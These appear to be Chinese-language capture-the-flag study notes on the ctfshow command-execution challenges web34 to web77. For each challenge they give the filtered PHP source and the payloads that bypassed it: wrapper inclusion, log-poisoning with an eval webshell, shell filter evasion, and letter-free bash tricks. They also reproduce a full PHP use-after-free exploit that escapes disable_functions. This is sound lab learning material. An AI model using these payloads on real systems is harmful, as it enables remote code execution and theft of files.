ctfshow 命令执行笔记
web34——命令执行
源码:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
过滤了:flag, system, php, cat, sort, shell, 小数点, 空格, 单引号,反引号,echo, 分号,左括号,冒号,双引号;
此题同上一题类似
1
| ?c=include$_GET[x]?>&x=php:
|
base64解码即可得到flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
$flag="ctfshow{176e1aa8-38eb-48f9-a1a9-07a5ea683dd3}";
|
ctfshow{176e1aa8-38eb-48f9-a1a9-07a5ea683dd3}
web35——命令执行
源码:
1 2 3 4 5 6 7 8 9 10 11
| <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
过滤了一大堆玩意儿:
1
| ?c=include$_GET[x]?>&x=php:
|
与web34,33类似base64解码即可获得flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
$flag="ctfshow{cddf1bd1-a9c1-4ef6-bb94-50d55091a10e}";
|
ctfshow{cddf1bd1-a9c1-4ef6-bb94-50d55091a10e}
web36——命令执行
源码:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
过滤了: flag,system,php,cat,sort,shell, 小数点,单引号,反引号,echo,分号,左括号,冒号,双引号,左尖括号,等号,数字0-9;
1
| ?c=include$_GET[x]?>&x=php:
|
同上一题:
base64解码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
$flag="ctfshow{375f8cad-2ba6-4f1f-8d69-bbd592bd1b1c}";<br/>
|
ctfshow{375f8cad-2ba6-4f1f-8d69-bbd592bd1b1c}
web37——命令执行——日志shell
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
|
根据百度得知此题使用 :
data://协议:
条件:allow_url_fopen:On allow_url_include:On
用处: php版本>=5.2.0可以使用data://数据封装器,以传递相应格式的数据用来执行PHP代码:
用法:
在此题当中尝试使用:
方法一:
1 2
| ?c=data: <?php system('ls');?> = base64 = PD9waHAgc3lzdGVtKCdscycpOz8+
|
因为题目中过滤了 flag,所以将失效,
如图得到了flag
方法二:
利用日志:
- 首先在url中访问不存在内容,让其记录到服务器的日志文件中,此次题目环境的日志路径为:
/var/log/nginx/access.log
1
| ?c=<?php @eval($_POST[1]);?>
|
2.查看日志文件中是否多了 一句话木马:
如图所示发现发生了转码: 空格: %20; <:%3C; >:%3E; [:%5B; ]:%5D; ’ : %27
3.蚁剑 or 菜刀 类似工具连接: but 连接失败
web38——命令执行——日志shell
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
|
方法一:
与上一题都使用 data协议:
将得到目录下的文件如图:
将得到flag.php:
方法二:
利用日志文件得到shell,日志文件目录: /var/log/nginx/access.log 与 web37 方法二类似
web39——命令执行
源码:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
|
- 仍然是 data:// 协议;ls 下目录
web40——命令执行
源码:
1 2 3 4 5 6 7 8 9 10
| <?php if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
过滤了 [0-9]数字,~,·,@, #, $, ^, &, *, 中文括号(),-, =, +, {},[], : , ’ , “, 逗号, < >, 小数点, ./, ? ,一大堆
1 2
| ?c=print_r(localeconv());
|
1 2
| ?c=print_r(pos(localeconv()));
|
1 2
| ?c=print_r(scandir(pos(localeconv())));
|
1 2
| ?c=print_r(array_reverse(scandir(pos(localeconv()))));
|
1 2
| ?c=print_r(next(array_reverse(scandir(pos(localeconv())))));
|
有个报错不管它。
此时已经读取到了 flag.php 那么就要将其内容显示出来: 可以使用 show_source() 或者 highlight_file() 得到 flag。
1 2 3
| ?c=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); ?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); ?c=highlight_file(array_rand(array_flip((scandir(pos(localeconv()))))));
|
web41——命令执行
web42——命令执行—— >/dev/null 2>&1
源码:
1 2 3 4 5 6 7
| <?php if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
|
/dev/null
/dev/null 作用是将标准输出重定向到 /dev/null中。/dev/null代表Linux的空设备文件,往这个文件里面写入的内容都会丢失:“黑洞” 所以执行了 >/dev/null 之后,标准输出掉入黑洞不复存在。
2>&1
重定向绑定, & 可以将两个输出绑定在一起。所以 错误输出将和标准输出同用一个文件描述。
因此 >/dev/null 2>&1 执行后:标准输出重定向到/dev/null中(黑洞),错误输出重用来标准输出的描述,因此也掉入了黑洞。综上所述,该条命令不会有任何显示,不会输出任何信息到控制台,也不会有任何信息输出到文件中。
所以此题要把 >/dev/null 2>&1 这部分内容截断:
1 2 3 4 5
| ?c=tac flag.php%0a ?c=tac flag.php%26 ?c=tac flag.php%26%26 ?c=tac flag.php|| ?c=tac flag.php;ls
|
web43——命令执行——⇡
源码:
1 2 3 4 5 6 7 8 9
| <?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
此题相较于上一题的基础上 多 过滤了命令 cat 和 分号 ,可以使用 c’’at 或者 tac 或者 less/more(需要查看源代码) 或者 tail 或者 nl(读取行号查看源代码)
1 2 3 4
| ?c=ca''t flag.php%0a /%26 /|| ?c=tac flag.php%0a /%26 /|| ?c=less flag.php%0a /%26 /|| ………………
|
这里使用 less flag.php%0a
web44——命令执行——⇡
源码:
1 2 3 4 5 6 7 8 9
| <?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
此题相较于上一题的基础上 多 过滤了一个 flag,因此:
1 2 3 4 5 6 7 8 9 10 11
| ?c=tac f*%0a | %26 | || ?c=cat f''lag.php%0a | %26 | || ?c=less f*%0a | %26 | || ?c=less f''lag.php%0a | %26 | || ?c=more f*%0a | %26 | || ?c=more f''lag.php%0a | %26 | || ?c=tail f*%0a | %26 | || ?c=tail f''lag.php%0a | %26 | || ?c=nl f*%0a | %26 | || ?c=nl f''lag.php%0a | %26 | || ……………………
|
web45——命令执行——⇡
源码:
1 2 3 4 5 6 7 8 9
| <?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
此题相较于上一题的基础上 多 过滤了 空格;因此需要绕过空格:
1 2 3 4 5
|
?c=tac%09f*%0a | %26 | || ?c=tac${IFS}%0a | %26 | || ……………………
|
IFS : Internal Field Separator : 内部字段分隔符
$IFS 默认空字符(空格, tab, \n)
web46——命令执行——⇡
源码:
1 2 3 4 5 6 7 8 9
| <?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
此题相较于上一题的基础上 多 过滤了 数字,**$**, *****,因此需要绕过这些:
1 2 3 4 5
|
?c=tac%09f''lag.php%0a | %26 | || ?c=tac<f''lag.php%0a | %26 | || ?c=tac<>f''lag.php%0a | %26 | ||
|
web47——命令执行——⇡
源码:
1 2 3 4 5 6 7 8 9 10
| <?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
此题相较于上一题的基础上 多 过滤了 more, less, head, sort, tail 唯独还是没有过滤 tac:
1 2 3 4 5
| ?c=tac%09f''lag.php%0a | %26 | || ?c=tac<f''lag.php%0a | %26 | || ?c=tac<>f''lag.php%0a | %26 | || ?c=nl<>f''lag.php%0a | %26 | ||
|
web48——命令执行——⇡
源码;
1 2 3 4 5 6 7 8 9
| <?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
此题相较于上一题 多 过滤了 sed, cut, awk, strings, od, curl ` 这些是啥玩意儿MD: 自行百度
1 2 3 4 5 6 7
| ?c=tac<f''lag.php%0a | %26 | || ?c=tac<>f''lag.php%0a | %26 | || ?c=tac%09f''lag.php%0a | %26 | || ?c=nl%09f''lag.php%0a | %26 | || ?c=sor''t<f''lag.php%0a | %26 | || ?c=hea''d<f''lag.php%0a | %26 | || ………………
|
web49——命令执行——⇡
源码:
1 2 3 4 5 6 7 8 9
| <?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
此题相较于上上一题 多 过滤了 %: 方法同上
1 2 3 4 5
| ?c=tac%09f''lag.php%0a | %26 | || ?c=tac<f''lag.php%0a | %26 | || ?c=tac<>f''lag.php%0a | %26 | || ?c=nl<>f''lag.php%0a | %26 | || ……………………
|
web50——命令执行——⇡
源码:
1 2 3 4 5 6 7 8 9
| <?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
此题相较于上一题 多 过滤了 \x09:十六进制09, \x26:十六进制26 即过滤了 %09:tab, %26:&
1 2 3 4
| ?c=tac<f''lag.php%0a | || ?c=tac<>f''lag.php%0a | || ?c=nl<f''lag.php%0a ?c=nl<>f''lag.php%0a
|
web51——命令执行——⇡
源码:
1 2 3 4 5 6 7 8 9
| <?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
此题相较于上一题 多 过滤了 tac (终于过滤了tac) ,但任未过滤 nl
1 2 3 4
| ?c=t''ac<f''lag.php%0a | || ?c=t''ac<>f''lag.php%0a | || ?c=nl<f''lag.php%0a | || ?c=nl<>f''lag.php%0a | ||
|
web52——命令执行——⇡
源码:
1 2 3 4 5 6 7 8 9 10
| <?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
此题相较于上一题 多过滤了 < > 且解除了对 $ 的过滤:
1 2
| ?c=ta''c${IFS}fla''g.php%0a | || ?c=ta''c$IFS''fla''g.php%0a | ||
|
发现 $flag=”flag_here” 并不是真正flag; TMD
扫描目录:
发现当前目录没卵用;再扫描根目录试试
此时发现根目录出现 flag,so:
1
| ?c=ta''c${IFS}/fl''ag%0a | ||
|
web53——命令执行——⇡
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ echo($c); $d = system($c); echo "<br>".$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }
|
此题相较于上一题 多 过滤了 wget ; 且没有了“黑洞”: >/dev/null 2>&1
1 2
| ?c=ta''c${IFS}fl''ag.php ?c=nl${IFS}fl''ag.php
|
web54——命令执行
源码:
1 2 3 4 5 6 7 8 9
| <?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
|
这过滤的……
方法一:
1 2
| ?c=/bin/?at${IFS}f???????
|
bin为binary:主要是系统的: cat, cp, chmod, dmesg, gzip, kill, ls, mkdir, more, mount, rm, su, tar, 等等
方法二:
1 2 3
| ?C=mv${IFS}fla?.php${IFS}a.txt ?c=ls
|
查看目录下内容是否将 flag.php 更名位 a.txt
查看 a.txt
web55——命令执行——无字母数字
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
|
发现过滤了 : 分号,字母a-z, 反引号, %, 09, 26, <> 既然过滤了 字母那么 flag将不能使用,经过百度一遍:
需要编写一个 简单的上传页面:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>upload</title> </head> <body> <form action="TargetURL" method="POST" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>
|
将 “TargetURL” 替换为题目环境的 URL 上传一个 1.txt 文件其内容为: a
使用 bp 抓包:
1 2 3
| ?c=.%20/???/????????[@-[]
|
web56——命令执行——无字母数字
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
|
此题相较于上一题(web55)多 过滤了 $, (, { , ', '‘,
具体方法与上一题(web55) 一样。
web57——命令执行
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); } }else{ highlight_file(__FILE__); }
|
1 2 3 4 5 6
| ?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))))))
|
emmmm
web58——文件包含
源码;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
|
1 2 3 4 5 6 7 8 9 10
| post: c=show_source("flag.php"); c=highlight_file("flag.php");
c=echo file_get_contents("flag.php"); c=readfile("flag.php"); c=var_dump(file("flag.php")); c=print_r(file("flag.php")); c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
|
web59——命令执行——⇡
同 web58
web60——命令执行——⇡
同 web58
web61——命令执行——⇡
同 web58
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
|
可以使用
1
| var_dump(scandir('./'));
|
扫描当前目录下的内容:
也可以使用 web 40 中一样的方法:
1 2
| c=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); c=show_source(array_rand(array_flip(scandir(pos(localeconv())))));
|
web62——命令执行——⇡
同上
web63——命令执行——⇡
同上
web64——命令执行——⇡
同上
web65——命令执行——⇡
同上
web66——命令执行——⇡
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
|
1 2
| post: c=highlight_file('flag.php');
|
秀秀得了,这次不在这里!‘’
扫描当前目录: 没有正确的flag
1
| c=print_r(scandir('./'));
|
扫描根目录: 发现 flag.txt
1
| c=print_r(scandir('/'));
|
查看 根目录下的 flag.txt:
1
| c=highlight_file('/flag.txt');
|
web67——命令执行
同 web66
web68——命令执行
源码:: 没有显示源码可能环境坏了,只有一个报错:显示 highlight_file() 不能使用
看了官方提示:用 include
1 2 3
| post: c=include('index.php');
|
根据上面几道题的 flag 的位置,尝试 直接:
1 2 3
| post: c=include('/flag.txt'); c=require('/flag.txt');
|
web69——命令执行
同 web68
web70——命令执行
同 web68
web71——命令执行
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
error_reporting(0); ini_set('display_errors', 0);
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); }
?>
你要上天吗?
|
此题首先 执行 : eval($c),将获取到了$c执行一遍,然后 $s = bo_get_contents();将$c执行的内容由缓存读取到了变量 $s,接下来的 preg_replace()会将缓存中的所有内容替换为‘?’:因此我们将会看到如下:
如图所示:扫描目录出来的结果都变了 ??????? and 你要上天吗?,因此不得让 ? 执行,那么可在 eval($c)执行完毕后将整个php程序给结束不再执行后面的语句就绕过字母数字的替换:
1 2
| c=var_export(scandir('/'));die(); c=var_export(scandir('/'));exit();
|
如图找到了 flag.txt 和上面几道题的位置一样:
1 2
| c=include('/flag.txt');exit(); c=include('/flag.txt');die();
|
web72——命令执行
源码同上一题: 此题不会,看了网上大佬:
1 2 3 4 5 6 7 8 9
| c= $a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo $f." " ; } exit();
|
看了VIP群里的脚本: 72poc.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204
| <?php
function ctfshow($cmd) { global $abc, $helper, $backtrace;
class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } }
class Helper { public $a, $b, $c, $d; }
function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; }
function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; }
function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } }
function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; }
function parse_elf($base) { $e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } }
if(!$data_addr || !$text_size || !$data_size) return false;
return [$data_addr, $text_size, $data_size]; }
function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue;
$leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue;
return $data_addr + $i * 8; } }
function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } }
function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; }
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; }
if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); }
$n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x'); $abc = $backtrace[1]['args'][0];
$helper = new Helper; $helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); }
$closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2); write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); }
if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); }
if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); }
if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); }
$fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); }
write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd); exit(); }
ctfshow("cat /flag0.txt");ob_end_flush(); ?>
|
把这个脚本 URL 编码:
web73——命令执行
与上一题类似: 利用 glob:///* 扫描根目录下文件 : flagc.txt
1 2 3 4 5
| $a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo $f." "; } exit();
|
然后:
1
| c=include('/flagc.txt');exit();
|
即可得到 flag
web74——命令执行
同上
web75——命令执行
首先扫根目录: 得到 flag36.txt
1 2 3 4 5
| $a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo $f." "; } exit();
|
骚姿势利用 MySQL load_file() 来读取文件; 🐂🍺
1 2 3 4 5 6 7 8 9 10 11 12 13
| c= try{ $conn = new PDO('mysql:host=localhost;dbname=ctftraining','root','root'); foreach($conn->query('select load_file("/flag36.txt")') as $row) { echo($row[0]); } $conn = null; }catch (PDOException $e){ echo $e->getMessage(); exit(); } exit();
|
web76——命令执行
同上
web77——命令执行—— FFI
不会